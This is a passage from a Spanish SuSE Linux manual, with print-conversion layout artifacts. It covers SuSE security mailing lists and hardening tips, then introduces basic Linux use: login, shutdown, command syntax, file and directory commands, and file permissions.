| cación en /etc/hosts.deny. * * ||| |_______________________________________________________________________________________________________* *________|||_ 464 __________________________________________________________________________________18.3.__Seguridad_en_SuSE______Linux_______* *______________________ La sintaxis para estos ficheros se explica en la página del manual de hosts_access (man 5 hosts_access ). La alternativa al uso de la combinación TCP-Wrapper/inetd es el xinetd (pa- quete xinetd, serie n (network)). Este combina las funcionalidades de inetd y tcpd, con la desventaja de la incompatibilidad entre los ficheros de configu- ración de inetd y xinetd. _______________________________________________________________________________________________________________________ |||||||| Como solo se puede iniciar uno de los ''Internet Super-Server'', es nece- || | |||||||| || | |||||||| sario decidirse por uno de ellos. || | ||||||||_______________________________________________________________________________________________________________||_ La serie secchk (Software del ámbito de seguridad)sec incluye otros pro- gramas que ayudan en la instalación de un sistema seguro; se pueden probar algunos de estos. 18.3 Seguridad en SuSE Linux SuSE ofrece los siguientes servicios para proporcionar una distribución enfo- cada a temas de seguridad: Hay dos listas de correo a disposición de todos los interesados: o suse-security-announce ~ para publicar noticias por parte de SuSE sobre problemas de seguridad. o suse-security ~ se publican las noticias y es un foro de discusión. Para apuntarse en cualquiera de estas listas de correo, es suficiente con enviar un E-Mail vacío a suse-security-subscribe@suse.com o a suse-security-announce-subscribe@suse.com. majordomo@suse.com con el contenido: subscribe suse-security o con el contenido: subscribe suse-security-announce Notificación central de problemas de seguridad: Si se ha descubierto un nuevo problema de seguridad (compruebe antes las actualizaciones disponibles), envíe un E-Mail a security@suse.de con la de- scripción del problema. Nos preocuparemos inmediatamente del asunto. Puede mandar los datos encriptándolos con paquete pgp. Nuestra clave pública (public pgp key 6 ) se encuentra, lista para descargar, bajo http: //www.suse.de/security. (+ Encriptación). 6 ____________________________________________________ PGP Key fingerprint = 73 5F 2E 99 DF DB 94 C4 8F 5A A3 AE AF 22 F2 D5 * * 465 18. Seguridad y Confianza_________________________________________________________________________________________________________* *_______________________________________@ 18.4 Consejos generales 1. No entrar al sistema como superusuario `root' para las tareas diarias, ya que debe ser solo para trabajos de administración de sistema. 2. Evitar al máximo el uso de telnet , rlogin o más aún el de rsh . 3. En caso de trabajar remotamente, es mejor usar ssh en lugar de rsh . 4. Desactivar todos los servicios de red no necesarios 5. Mantener actualizados los paquetes importantes para la seguridad del sis- tema como p. ej. paquete bind, paquete sendmail y paquete ssh. 6. Quite los suid- y sgid bits de todos los ficheros del sistema que general- mente no son usados par parte de usuarios ''normales''. 7. Controlar regularmente los ficheros de registro (log-files). 466 Capítulo 19 Introducción a Linux Unix es un sistema a tal punto complejo que a continuación sólo se podrán aclarar los aspectos más importantes. El presente manual no ha sido elabo- rado para remplazar la bibliografía existente sobre Linux o Unix; tampoco lo podría hacer y éste no es su objetivo. En todo caso, aconsejamos adquirir un manual adecuado a quienes hayan decidido utilizar o cambiar DOS por Linux. En el anexo se incluye, a tal efecto, una lista con bibliografía recomendada. Si se dispone de bibliografía sobre Unix que no sea específica para Linux, se podrá ver que gran parte de la información sobre el sistema es aplicable a Linux. Algunos manuales o parte de ellos que pertenecen a GPL , se pueden encon- trar como ficheros .dvi- o PostScript en el paquete doc, serie books. Pueden ser visualizados bajo X11 con XDvi (xdvi ) o GhostView (gv ) e imprimidos íntegramente o por páginas con lpr . Pero hasta tener el manual de Unix en las manos, esta introducción para principiantes debería alcanzar para dar los primeros pasos en Linux. Al empezar a trabajar con Unix, después de una instalación exitosa, se hace login con el nombre de usuario que se haya introducido durante la instalación, no solo porque para este usuario se hayan predeterminado ciertas característi- cas ''amistosas'', sino también porque, como ocurre con el systema Unix, ''so- lo'' usted tiene responsabilidad sobre su + directorio de usuario (ingl. home directory). Este procedimiento, el de trabajar bajo un nombre de usuario, es útil en sistemas operativos multiusuario para la seguridad del sistema. Con ello es imposible, por ejemplo, cambiar o borrar por equivocación ficheros importantes para el sistema. _______________________________________________________________________________________________________________________|| |||||||| Una orden undelete como la que existe en DOS, no existe (aún) en Linux, ||| | |||||||| por lo tanto, una alteración involuntaria de ficheros del sistema podría || | |||||||| || | |||||||| hacer necesaria la reinstalación del sistema por completo. || | ||||||||_______________________________________________________________________________________________________________||_ Para un principiante, el inicio con Linux parece de gran complejidad ante todo porque a él va unida la complicada tarea de administrador del sistema. 19.1 Hacer login, `root'-Usuario, introducción de Usuario La posibilidad de multi-usuarios (ingl. multiuser) de Linux exige que, siem- pre que se desee utilizar el sistema, primero se deba identificar en una + * * 467 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ consola (en la cual se tiene previsto trabajar, ver apartado 19.4 en la pági- na 471Consolas virtualessection.19.4) 1 . Este proceso, que es parte indis- pensable en el concepto de seguridad de un sistema moderno de multiusuar- ios, se denomina hacer login; con él se consigue entre otras cosas, que cada usuario tenga su propio entorno de trabajo y que sólo así pueda acceder a sus ficheros. Primero se introduce el nombre de usuario (p. ej. `tux') y luego la contraseña (p. ej. xxxxxx ); se deben reemplazar los símbolos xxxxxx por la contraseña escogida!_Los símbolos xxxxxx no aparecen en la pantalla; luego se pulsa |E_______n|ter2: login: tux |______|- Password: xxxxxx |______|- Si se ha ''hecho login'' correctamente, se entra al directorio del usuario que corresponde (p. ej. /home/tux para el usuario `tux'). Para salir del sistema (hacer logout), se introduce la orden logout o exit . El usuario `root' es el + administrador del sistema y TODO le está autor- izado. Los ficheros importantes del sistema sólo pueden ser manipulados por `root'. Por lo tanto, se hace login como `root' solo cuando sea realmente necesario. De este modo se protege el sistema de modificaciones involun- tarias que, según el caso, obligarían a una nueva instalación. Algunas acciones sólo permitidas a `root' son: o + Montar sistemas de ficheros como CDs y disquetes así como instalación de software. Este derecho lo tiene también el usuario normal al introducir la opción user para el correspondiente periférico en /etc/fstab (ver apartado 19.11.2 en la página 485Montaje y desmontaje de sistemas de ficherossubsection.19.11.2). o Introducir y eliminar usuarios (ver apartado 3.7.7 en la página 112Admin- istración de usuariossubsection.3.7.7). o Instalación de un nuevo kernel. o Configuración del sistema. o Apagar el sistema (ver apartado 19.2). o ejecutar YaST (ver capítulo 3 en la página 83YaST ~ Yet another Setup Toolchapter.3). 19.2 Apagar y arrancar el sistema ________________________________________________________________________________________________________* *________|| | IMPORTANTE: En ningún caso se debe desconectar la computadora o * * |||| | * * ||| | pulsar Reset (+ Reset) mientras el sistema esté en funcionamiento, ya que * * ||| | se pueden producir daños en el + sistema de ficheros, con la consiguiente * * ||| | * * ||| | pérdida de datos. * * ||| |_______________________________________________________________________________________________________* *________|||__ 1 Si se ha configurado un login gráfico (ver apartado 3.7.5 en la página 111Configuración del Loginsubsection.3.7.5), el proceso que se describe a continuación tiene la misma validez! 2 En caso de no haberse otorgado una contraseña al instalar el sistema, será suficiente con pulsar | _______ E_______n|ter! 468 __________________________________________________________________________19.3.__Comandos_~_línea_de_comandos_______________* *______________________ Usar los comandos de la tabla 19.1 para apagar (ingl. shutdown) correcta- mente la computadora. _______________________________________________________________________________________________________________________ shutdown -h now detiene el sistema (se podrá apagar la máquina cuando aparezca el mensaje: "the system is halted") shutdown -r now reinicia el sistema inmediatamente después de haberlo apagado _______________________________________________________________________________________________________________________ Tabla 19.1: Comandos para apagar el sistema Linux En general, el comando shutdown en todas sus variantes sólo puede ser ejecutado por el usuario `root'. Para ''apagar'' el sistema, se entra utilizando la contraseña `root' y se intro- duce el comando shutdown -h now o shutdown -r now . También se puede iniciar,_como_se suele_hacer_en_DOS,_mediante_la_combi-_ ____ ____ nación de las teclas |C______|trl+ |A____l|t+ |S______|upr(|C______|trl+ |A____l|t+ |D____e|l). Dado que esta combinación de teclas bajo X11 no es reconocida, primero se debe salir de X11. Sin embargo esta combinación puede ser usada por cualquier usuario desde cualquier consola virtual. 19.3 Comandos ~ línea de comandos Si bien, el manejo de Linux resulta cada vez más fácil, p. ej. mediante progra- mas controlados a través de menú; a fin de cuentas ~ en caso de una emergen- cia o cuando no se dispone de un programa con menú para una determinada operación ~ sólo nos queda como recurso introducir ''comandos'' Unix. Cuáles son los comandos de Unix? Los comandos de Unix son: o programas ejecutables o scripts de la shell o scripts de lenguajes de script como Perl, Tcl, etc. o shell-alias (como macros de shell). Todos tienen en común que son ficheros: al cargar un programa en Linux, se ordena a la shell que busque el fichero con el nombre del programa (para ello es necesario una rama de búsqueda, definida por la variable PATH) y una vez hallado, lo ejecute, si éste posee la licencia de usuario pertinente. Pero, qué ocurre si el programa (p. ej. el comando para copiar) necesita parámetros adicionales o nombres de ficheros? Esto es relativamente fácil, porque para ello existen los llamados parámet- ros (ingl. parameter). Los parámetros son argumentos adicionales para un comando, que le comunican datos necesarios. En la línea de entrada los * * 469 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ parámetros van detrás del nombre del comando, separados como mínimo por un espacio en blanco 3 . Por otra parte, puede ser necesario influir en el comportamiento de un coman- do (p. ej. se desea ver el contenido de un directorio de forma completa y no sólo los nombres de los ficheros). En Linux esto ocurre con las llamadas op- ciones (ingl. options). Las opciones van siempre inmediatamente después de los nombres de los comandos y antes de los parámetros. En ocasiones, y de forma excepcional, es posible encontrar comandos ''sucios'' que no responden a este formato. Generalmente, las opciones van precedidas de un guión (p. ej. -la ) y pueden obedecer a dos tipos de formato (ver tabla 19.2). ________________________________________________________________________________________________________* *________ -a forma corta, común en Unix --all forma larga, llamada notación GNU ________________________________________________________________________________________________________* *________ Tabla 19.2: Opciones para comandos Cuando haya que utilizar varias opciones, muchos programas de Linux per- miten ''acumularlas''. Esto significa que no es necesario que todas las op- ciones vayan, una detrás de otra, precedidas cada una de un guión. Es decir, sólo la primera opción debería ir precedida de un guión; las siguientes se escribirán junto a ésta inmediatamente después. Ejemplo: -a -f -r -u o -afru o -frua El ejemplo muestra que, en general, el orden de las opciones es irrelevante. Si bien, existen excepciones a esta regla. Para hacerlo más complejo, algunas opciones pueden tener a su vez parámet- ros. Ejemplo: -f o -f En raras ocasiones, (más bien pocas) puede ser irrelevante que entre la opción y su parámetro haya o no un espacio en blanco. En general se debe introducir uno. Ejemplos Resumiendo: en Linux un comando tiene el siguiente aspecto (Ejemplos)4 : tierra: # fdisk tierra: # lsmod tierra: # ls Usando opciones: tierra: # fdisk -v tierra: # ls -l -a ______tierra:__#__ls__-la____________________ 3 Nota: Esto implica que un espacio en blanco no pueda ser parte del parámetro, ya que es el ''separador'' de los argumentos. Un espacio en blanco puede ser usado en un parámetro si éste va entre comillas "" o ''. 4 No olvidar: con ''tierra: # '' el sistema indica que está preparado para recibir comandos; estas palabras y caracteres no tendrá que introducirlas usted 470 ______________________________________________________________________________________________19.4.__Consolas_virtuales_____* *______________________ Con parámetros: tierra: # fdisk /dev/hda tierra: # ls /tmp Con opciones y parámetros: tierra: # ls -la /tmp tierra: # rpm -qpl .rpm tierra: # gcc -o El espacio en blanco es un carácter especial en las series de comandos Linux ya que fundamentalmente se usa para separar entre sí las diferentes partes de un comando. 19.4 Consolas virtuales Linux es un sistema + multitarea y multiusuario. Las ventajas que aportan es- tas características se agradecen incluso en un sistema PC con un solo usuario: El modo texto ofrece 6 + consolas virtuales,_a las que_se puede_acceder_me-_ diante las combinaciones de las teclas |A____l|t+ |F___|1a |A____l|t+ |F___|6. La séptima consola está reservada para X11.5 Si estando en X11 se desea trabajar_en una_consola_virtual_sin_cerrar_X11, se__ ___ pulsan las combinaciones_|C______t|rl+_|A____l|t+_|F___1|a |C______t|rl+ |A____l|t + |F___6|. Para volver a X11 pulsar |A____l|t+ |F___|7. 19.5 Directorios y nombres de ficheros Toda la información ~ ya sean textos, imágenes, bases de datos o información para la configuración del sistema ~ se almacena en ''ficheros'', que a su vez se guardan en ''directorios''. Con todas las herramientas y programas existentes se puede acceder a estos ficheros para ver su contenido o modificarlo. El carácter para separar directorios (en DOS `\') es en Unix `/' (ingl. slash). Un path o camino es una cadena de caracteres en la cual los directorios van separados mediante `/'. Un `/' indica el directorio de mayor jerarquía, el + directorio raíz. Unix diferencia entre mayúsculas y minúsculas. Es decir, el fichero Pepe no es el mismo que pepe. En general, no es necesario separar los nombres de los ficheros en nombre y extensión pero algunos programas sí requieren esta división (p. ej. ALTEX). _______________________________________________________________________________________________________________________|| |||||||| La función de la tecla | _____|Tab(tecla de tabulador) ahorra trabajo a la hora ||| | |||||||| || | |||||||| de introducir los nombres de ficheros o de directorios)._ Se introducen las || | |||||||| primeras letras del fichero en cuestión y se pulsa |Tab |. La + Shell completa || | |||||||| ____ || | |||||||| el nombre del fichero (siempre que la primera o las primeras letras sean || | |||||||| suficientes para identificarla de forma única). En caso de que haya varias || | |||||||| || | |||||||| posibilidades, éstas aparecerán el la pantalla al pulsar tab por segunda vez. || | ||||||||_______________________________________________________________________________________________________________||_ 5 ____________________________________________________ Modificando el fichero /etc/inittab se puede disponer de más o de menos consolas. * * 471 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ 19.6 Trabajar con directorios Después de hacer login (ver apartado 19.1 en la página 467Hacer login, `root'-Usuario, introducción de Usuariosection.19.1) se entra al directorio de usuario. Esto se puede comprobar con el comando pwd (ingl. print working directory), el cual indica en qué directorio se encuentra en ese momento: tux@tierra:/home/tux > pwd /home/tux El comando cd (ingl. change directory) sirve (igual que en DOS) para cam- biar de directorio. Si se introduce tux@tierra:/home/tux > cd /usr/bin tux@tierra:/usr/bin > se cambiará al directorio /usr/bin, tux@tierra:/home/tux > cd latex tux@tierra:/home/tux/latex > cambia al subdirectorio latex, eso sí, siempre y cuando en el directorio de usuario de `tux' exista el directorio /home/tux/latex . Si se introduce el comando cd sin argumento, se regresa al directorio de usuario. El nombre del directorio de usuario puede ser reemplazado por el carácter ` '. Al introducir tux@tierra:/home/tux > cd ~/latex se cambia al directorio latex del + directorio de usuario. Al igual que en DOS `..' hace referencia al directorio superior y `.' al presente. Para crear nuevos directorios se usa el comando mkdir (ingl. make) directory. Al introducir tux@tierra:/home/tux > mkdir textos se crea el subdirectorio textos en el directorio en que se encuentre en ese momento. Para borrar directorios vacíos se usa el comando rmdir (ingl. remove directory). 19.7 Trabajar con ficheros Si bien es posible que en un futuro los ficheros sean reemplazados por objetos o símbolos, lo cierto es que hoy por hoy tienen una importancia fundamental a la hora de trabajar con la computadora. Es por ello que en Linux el número de comandos relacionados con los ficheros es tan grande. 19.7.1 Propiedades de los ficheros El comando ls muestra una lista con el contenido del directorio en que nos encontramos (el directorio actual). Esta lista contiene todos los ficheros y los nombres de los directorios del directorio actual. Los nombres de los directo- rios aparecen seguidos de `/'. El contenido de otros directorios también se puede visualizar si se introduce el parámetro: tux@tierra: > ls /usr/bin A diferencia de DOS, los programas ejecutables no se identifican mediante extensiones como .exe o .com, sino mediante un asterisco `*' o por el color 472 _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______* *______________________ rojo . Se trata de algunas de las caracteristicas que se pueden visualizar con el comando ls ; para más información mirar p. ej. la salida en pantalla de: tux@tierra: > ls --help Nunca se debe indicar el asterisco explícitamente ya que éste solo sirve como indicador del atributo ''executable''; para mayor información ver el en la página 478Autorizaciones para ficherossection.19.8. Una opción muy práctica de ls es -l , que ofrece una lista más detallada de nombres de ficheros que incluye las autorizaciones de acceso, propietarios, grupo y tamaño: tux@tierra: > ls -l Esto genera en el monitor la lista que aparece en el Mensaje en pan- talla 19.7.1. _______________________________________________________________________________________________________________________|||| |||||||| drwxr-xr-x 6 tux users 1024 Mar 21 12:39 ./ | |||||||| | |||||||| drwxr-xr-x 4 tux users 1024 Mar 21 17:13 ../ | |||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:19 bin/ | |||||||| | |||||||| -rwxr-xr-x 1 tux users 4160 Mar 21 12:38 check* | |||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:23 etc/ | |||||||| | |||||||| drwxr-xr-x 2 tux users 1024 Nov 6 16:19 sbin/ | |||||||| drwxr-xr-x 12 tux users 1024 Nov 6 18:20 usr/ | |||||||| | |||||||| -rw-r--r-- 1 tux users 185050 Mar 15 12:33 xvi.tgz | |||||||| -rw-r--r-- 1 tux users 98444 Mar 14 12:30 xvnews.tgz | |||||||| | ||||||||_______________________________________________________________________________________________________________ | Mensaje en pantalla 19.7.1: Lista obtenida mediante ls -l El significado de los diferentes campos que aparecen en el Mensaje en pan- talla 19.7.1 se explica en la tabla 19.3 en la página siguiente. ______________________________________________________________________________________________________________________ Autorizaciones El primer carácter de este campo designa el tipo de fichero. `d' significa directorio, `l' link y `-' designa un fichero normal. Los 9 caracteres siguientes indican las autorizaciones de acceso para el propietario, el grupo y los demás usuarios (tres caracteres cada uno). `r' significa leer, `w' escribir, y `x' ejecutar. Por ejemplo, `-rw-r~r~ ' hace referencia a un fichero que puede ser leí- do por el propietario, por los miembros del grupo y por todos los demás, pero que sólo puede ser modificado por el propietario. Ver la página del manual de chmod (man chmod ). Propietario El propietario del fichero. Ver la página del man- ual de chown (man chown ). Grupo Grupo al que pertenece el fichero. Ver la página del manual de chgrp (man chgrp ). ______________________________________________________________________________________________________________________ Tabla 19.3: Continúa en la página siguiente ... * * 473 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ _______________________________________________________________________________________________________* *_________ Tamaño Tamaño del fichero en Bytes. Última modificación Fecha de la última modificación del fichero. En el caso de ficheros que fueron modificados hace más de un año, aparece el año en lugar de la hora. Nombre Nombre del fichero o del directorio. _______________________________________________________________________________________________________* *_________ Tabla 19.3: Atributos de un fichero Unix 19.7.2 Wildcards ~ Comodines En comparación con DOS, las opciones que ofrece el intérprete de comandos (p. ej. bash ) a través de las + Wildcards son ''fascinantes''. En Linux, los wildcards no se limitan a `*' y `?'. Por ejemplo, mediante tux@tierra: > ls *a???.? se pueden seleccionar todos aquellos ficheros del presente directorio, cuyo nombre contenga una `a' en sexta posición por la derecha y cuyo penúltimo carácter sea `.'. En lugar de un único carácter `a', se podría introducir un rango de caracteres. Como pueden ser las letras `a', `b', `c', `d', `e', `f'. Aplicado a nuestro caso, el comando sería: tux@tierra: > ls *[a-f]???.? La búsqueda también se puede realizar en un orden no alfabético: tux@tierra: > ls *[1,3-5,M-P,a,k]???.? 19.7.3 El contenido de los ficheros Mediante los comandos more y less es posible visualizar el contenido de un fichero página por página. Con el comando ''clásico'' more sólo se pueden pasar las páginas hacia ''abajo''6 ; less es considerablemente más cómodo y por lo tanto más aconsejable. Mediante tux@tierra: > less /etc/login.defs se carga el fichero /etc/login.defs en el ''viewer'' less , lo cual no llama especialmente la atención ~ en la primera página con contenido del_fichero,_ aparece una línea inversa de estado en el borde inferior._Con |____________ |(barra espaciadora) se puede adelantar una página y con |b_ |retroceder; ver también la tabla 19.4 en la página siguiente. _______________________________________________________________________________________________________* *_________ h Ayuda q Fin _______________________________________________________________________________________________________* *_________ Tabla 19.4: Continúa en la página siguiente ... _____________________________________________6 more de Linux sabe más ~ ver la página del manual de more (man more ) ;-) 474 _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______* *______________________ ______________________________________________________________________________________________________________________ e Avanzar una línea y Retroceder una línea f Avanzar una página b Retroceder una página d Avanzar media página u Retroceder media página g Desplazarse al comienzo del fichero G Desplazarse al final del fichero / Iniciar una búsqueda n Ir al siguiente acierto en una búsqueda v Cargar un fichero en el + editor F Observar un fichero ''creciente'' de tipo (log) ^c Pasar de modo F a ''normal'' ______________________________________________________________________________________________________________________ Tabla 19.4: Teclas de los ''Viewers'' less (selección) Con |||||__/se da la_orden_de buscar una determinada cadena_de caracteres (p. ej. yes ) y pulsando |_____-|empieza la búsqueda. Si se pulsa |n_ |, aparece a contin- uación el próximo yes que se encuentre en el fichero. Con la tecla |F__|se puede observar, p. ej. , cómo en un fichero_de_login_se van_ efectuando nuevas entradas. Para salir de este modo, se pulsa |C______|trl+ |c_ |. Con h |||||__se_obtiene un listado de todas las características_que less pone a su servicio; con |q_ |se sale de ''Ayuda'' y al pulsar de nuevo |q_ |finaliza el trabajo, se sale del programa por completo y se regresa a la línea de comandos, junto al prompt. Para modificar ficheros de texto se utiliza un + editor; el editor estándar de un sistema Unix es vi , con el cual es imprescindible familiarizarse cuando se tenga unos minutos de calma (ver apartado 19.15 en la página 491El editor visection.19.15). 19.7.4 Ficheros ocultos Un tipo especial de ficheros son los ficheros ocultos. Los nombres de fichero empiezan con un punto y sólo es posible verlos en la shell cuando se utiliza ls con la opción -a . Se introduce sencillamente la orden ls -a desde el directo- rio de usuario. Ahora se deberán ver en el listado, también los ficheros ''ocul- tos'' que llevan delante un punto, como por ej. ~/.profile y ~/.xinitrc. Los ficheros ocultos están protegidos para no ser borrados de forma involun- taria al usar rm * (ver apartado 19.7.5 en la página siguiente) y se pueden eliminar, dado el caso, con una orden explicita de borrado rm <.fichero> . * * 475 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|| | Con la orden rm .* se borran todos los ficheros ocultos del actual di- * * |||| || rectorio! Si además se añade la opción -r (ingl. recursive) con la orden * * |||| | (rm -r .* ) se borrarán también todos los ficheros del directorio superior, * * |||| | que tengan la forma `../bla', que es lo mismo que `.*'. Se recomienda * * ||| | * * ||| | ser muy cuidadoso al usar la option -r ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 19.7.5 Copiar, renombrar y borrar ficheros El comando para copiar ficheros en Linux es cp : tux@tierra: > cp fichero_original fichero_copia En lugar de se puede indicar también el nombre de un di- rectorio existente; en tal caso el fichero original se copiaría con el mismo nombre a este directorio. Para copiar el fichero /etc/XF86Config del direc- torio /etc al directorio del usuario, se puede usar la siguiente orden: tux@tierra: > cp /etc/XF86Config ~ Los ficheros pueden ser borrados con el comando rm (ingl. remove). Una opción práctica es -r (ingl. recursive), mediante la cual se pueden borrar también todos los subdirectorios y los ficheros contenidos en ellos (es com- parable al comando existente desde DOS 6.0 deltree ). Con la instrucción tux@tierra: > rm -r bin se borrará p. ej. el directorio bin del actual directorio y todos los subdirecto- rios y ficheros contenidos en éste. Esta opción debe ser utilizada con mucho cuidado ya que no existe ninguna posibilidad de recuperar los ficheros borra- dos por equivocación! Con la orden mv (ingl. move) se mueven ficheros o directorios. La sintaxis es idéntica a la de cp . Con la orden: tux@tierra: > mv xvnews.tgz XVNEWS.tgz el fichero xvnews.tgz del actual directorio será ''movido'' al fichero de nom- bre XVNEWS.tgz del actual directorio, lo que se parece mucho a un simple renombrar. Esto es muy interesante cuando se trata de mover directorios en- teros: tux@tierra: > mv bin ~/latex mueve el directorio bin (si es que existe uno en el directorio actual) a ~/ latex. Todos los directorios y ficheros que se encontraban bajo bin, se encuentran ahora bajo ~/latex/bin. También hay que ir con cuidado con esta instrucción, ya que se puede trasladar de manera rápida una cadena de directorios a sitios que luego son muy difíciles de encontrar. El traslado de una cadena completa de directorios es sólo posible dentro de un mismo sistema de ficheros (o sea de una partición). 19.7.6 Búsqueda en ficheros Otra orden de gran utilidad: find . Para buscar en todos los subdirectorios el fichero Mortadelo, se tendría que escribir el siguiente comando: tux@tierra: > find . -name "Mortadelo" 476 _________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______* *______________________ El primer argumento designa el directorio a partir del cual se inicia la búsque- da. La opción -name es la cadena de caracteres que se busca, en la cual tam- bién se permite introducir + Wildcards. Así, para buscar todos los ficheros que contengan en su nombre la cadena de caracteres `Mortadelo', se debe modificar la anterior orden de la siguiente forma: tux@tierra: > find . -name "*Mortadelo*" Para una descripción más detallada recomendamos, como para todos los demás comandos, consultar la correspondiente Manual-Page. Existe todavía una posibilidad más rápida de encontrar ficheros mediante locate (tener en cuenta las Manual-Pages de locate y las Manual-Pages citadas en ellas). Cuando no se busca un fichero con nombre específico, sino una determinada cadena de caracteres en un fichero, se utilizará el comando grep (ingl. get regular expression pattern). La siguiente instrucción busca en el fichero Mortadelo la cadena de caracteres `Filemón': tux@tierra: > grep "Filemón" Mortadelo De esa manera se realiza la búsqueda de una determinada cadena de caracteres en ficheros con textos largos. Se puede realizar esta búsqueda en cualquier cantidad de ficheros, utilizando wildcards y caracteres normales. Como re- sultado se obtendrán todas las líneas en las que se encuentre la cadena de caracteres buscada. Existen muchas opciones que permiten modificar el comportamiento de grep . Es por ello que se aconseja leer la página del manual de grep (man grep ). 19.7.7 Enlaces simbólicos Mediante la utilización de + Enlaces simbólicos se puede atribuir un nombre extra a un fichero. Con este nombre se ''señala'' el fichero. Puede pasar p. ej. que diferentes versiones de un programa sean retiradas, pero que las consigu- ientes nuevas versiones puedan ser siempre utilizadas bajo el mismo nombre. La solución radica en crear un enlace simbólico que señale respectivamente la versión que se vaya a utilizar. Los enlaces simbólicos se comportan como los ficheros a los que señalan, por lo tanto, también son ejecutables. La siguiente orden tux@tierra: > ln -s check.2.4 check crea el enlace simbólico check, el cual señala al fichero check.2.4. En el directorio se indicaría lo siguiente: lrwxrwxrwx 1 tux users 1024 Mar 21 17:13 check -> check.2.4* Los enlaces pueden, de igual manera que los ficheros, ser borrados con rm . _______________________________________________________________________________________________________________________ |||||||| Con ello sólo se borra el enlace y no el fichero al cual hace referencia! || | ||||||||_______________________________________________________________________________________________________________||_ 19.7.8 Archivar y guardar Datos Para crear o desempaquetar ficheros se usa el comando tar (ingl. tape archive). Un fichero puede contener un solo fichero o una cadena entera de directorios, incluídos los ficheros que éstos contengan. * * 477 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ Los ficheros así empaquetados pueden ser también comprimidos, lo cual re- duce de manera considerable su tamaño. Normalmente a estos ficheros com- primidos se les da la terminación .tgz o .tar.gz, y .tar a los no comprim- idos. Los casos más frecuentes de utilización del comando tar son: 1. Desempaquetar ficheros (p. ej. del CD) tux@tierra: > tar xvfz fichero.tgz tar desempaqueta (x ) el fichero fichero.tgz (f ) comprimido (z ) y crea los subdirectorios de forma automática. El nombre de cada fichero que en ese momento es desempaquetado aparece en la pantalla (v ). 2. Crear ficheros tux@tierra: > tar cvfz fichero.tgz fichero1 direc1 tar crea (c ) el fichero fichero.tgz (f ) comprimido (z ), en el cual se incluyen el fichero fichero1 y todos los subdirectorios y ficheros que contiene el directorio direc1. El nombre de cada fichero que en ese momento es empaquetado aparece en la pantalla (v ). 3. Mirar el contenido de un fichero tux@tierra: > tar tfz fichero.tgz tar da un índice (t ) del fichero fichero.tgz (f ) comprimido (z ). La opción z indica que se debe usar el programa GNUZip (gzip ) para crear o desempaquetar ficheros comprimidos. tux@tierra: > tar xvf fichero.tar desempaqueta el fichero no comprimido fichero.tar. Se obtiene más in- formación con la instrucción: tux@tierra: > tar --help 19.8 Autorizaciones para ficheros Sólo el usuario `root' tiene, como administrador del sistema, acceso sin restricciones a todos los ficheros. Esto también significa que es el único autorizado para otorgar o quitar todos los derechos de acceso. 19.8.1 El concepto de las autorizaciones La distribución de los derechos de acceso sobre un fichero, se estructura en tres categorías: o Derechos del propietario ((ingl. owner)) o Derechos de los miembros de un grupo ((ingl. group)) o Derechos de todos los demás ((ingl. others)) En el listado de ficheros (forma larga) de un directorio, cada una de estas tres categorías se representa mediante tres caracteres. Contando el primer carácter, que representa el tipo de fichero (d, l, o -), tendremos los 10 banderines de cada fichero. Cada banderín es representado por un carácter. Los banderines son los mismos para las tres categorías: 478 ______________________________________________________________________________19.8.__Autorizaciones_para_ficheros___________* *______________________ `r' para leer (ingl. readable), `w' para escribir (ingl. writable) y `x' para ejecutar (ingl. executable). El carácter `-' indica que no se ha colocado el banderín, y por lo tanto esa opción no está autorizada. Observemos a modo de ejemplo el fichero imaginario linux.info. -rw-r-xr-- 1 tux users 29524 Jun 29 13:11 linux.info Figura 19.1: Representación de las autorizaciones de acceso a un fichero En el caso del fichero linux.info, ésto significaría lo siguiente: El propi- etario del fichero (tux) puede modificarlo y leerlo, los miembros del grupo users sólo pueden leerlo y ejecutarlo, mientras que el resto de los usuarios del sistema sólo pueden leerlo. El primer carácter `-' de la cadena indica que se trata de un + fichero (ingl. regular file) ''normal''. Con los directorios ocurre igual. En este caso, el primer carácter de la cadena es `d' (ingl. directory). Por ejemplo: drwxr-xr-- 3 tux users 1024 Jun 29 13:11 info/ Cuando a un directorio se le ha colocado el banderín `x', significa que se tiene acceso a él. En nuestro ejemplo significaría que los usuarios que no pertenecen al grupo users no pueden acceder al directorio info. Cambiar las autorizaciones de acceso El cambio de las autorizaciones de acceso se realiza con el comando chmod (ingl. change mode). Por lo general se necesitan para chmod dos argumentos: o las autorizaciones de acceso a cambiar, y o el nombre de fichero. Las categorías de los tres posibles grupos se indican con `u' para el propi- etario o usuario (ingl. user), `g' para el grupo (ingl. group) y `o' para todos los demás (ingl. others). Tras esto se indican las autorizaciones a cambiar. Para añadir un permiso se usa `+' y el signo `-' para quitar el mismo. El siguiente comando p. ej. modifica las autorizaciones del fichero linux.info para los miembros del grupo a lectura, escritura y ejecutable: tux@tierra: > chmod g+rwx linux.info Modificando las autorizaciones de todas las categorías de usuarios, es sufi- ciente indicar el cambio de las mismas. En el siguiente ejemplo, las autor- izaciones sobre el fichero linux.info se modifican de tal manera, que nadie tenga acceso de escritura (derecho de escribir y modificar): tux@tierra: > chmod -w linux.info Las autorizaciones de lectura y ejecución no se ven afectadas. Existe también la posibilidad de añadir y de quitar autorizaciones con un solo comando. La siguiente orden cambia los derechos sobre el fichero linux. info a ejecutable, no legible y no modificable: * * 479 19. Introducción a_Linux__________________________________________________________________________________________________________* *_______________________________________@ tux@tierra: > chmod u+x-rw linux.info De lo cual resulta: tux@tierra: > ls -l linux.info ---xr-xr-- 1 tux users 29524 Jun 29 13:11 linux.info Otros comandos que son interesantes en este contexto son chown para el ''cambio de propietario'' (ingl. change owner) y el comando chgrp para cam- biar el grupo (ingl. change group). 19.9 Manual-Pages Las ''Manual-Pages'' (páginas de manual) informan sobre comandos, ficheros de configuración y las funciones de biblioteca de C. En la tabla 19.5 se anotan las distintas posibilidades para el comando man . _______________________________________________________________________________________________________* *_________ man llama la Manual-Page de . man -f busca por y apunta las Manual-Pages 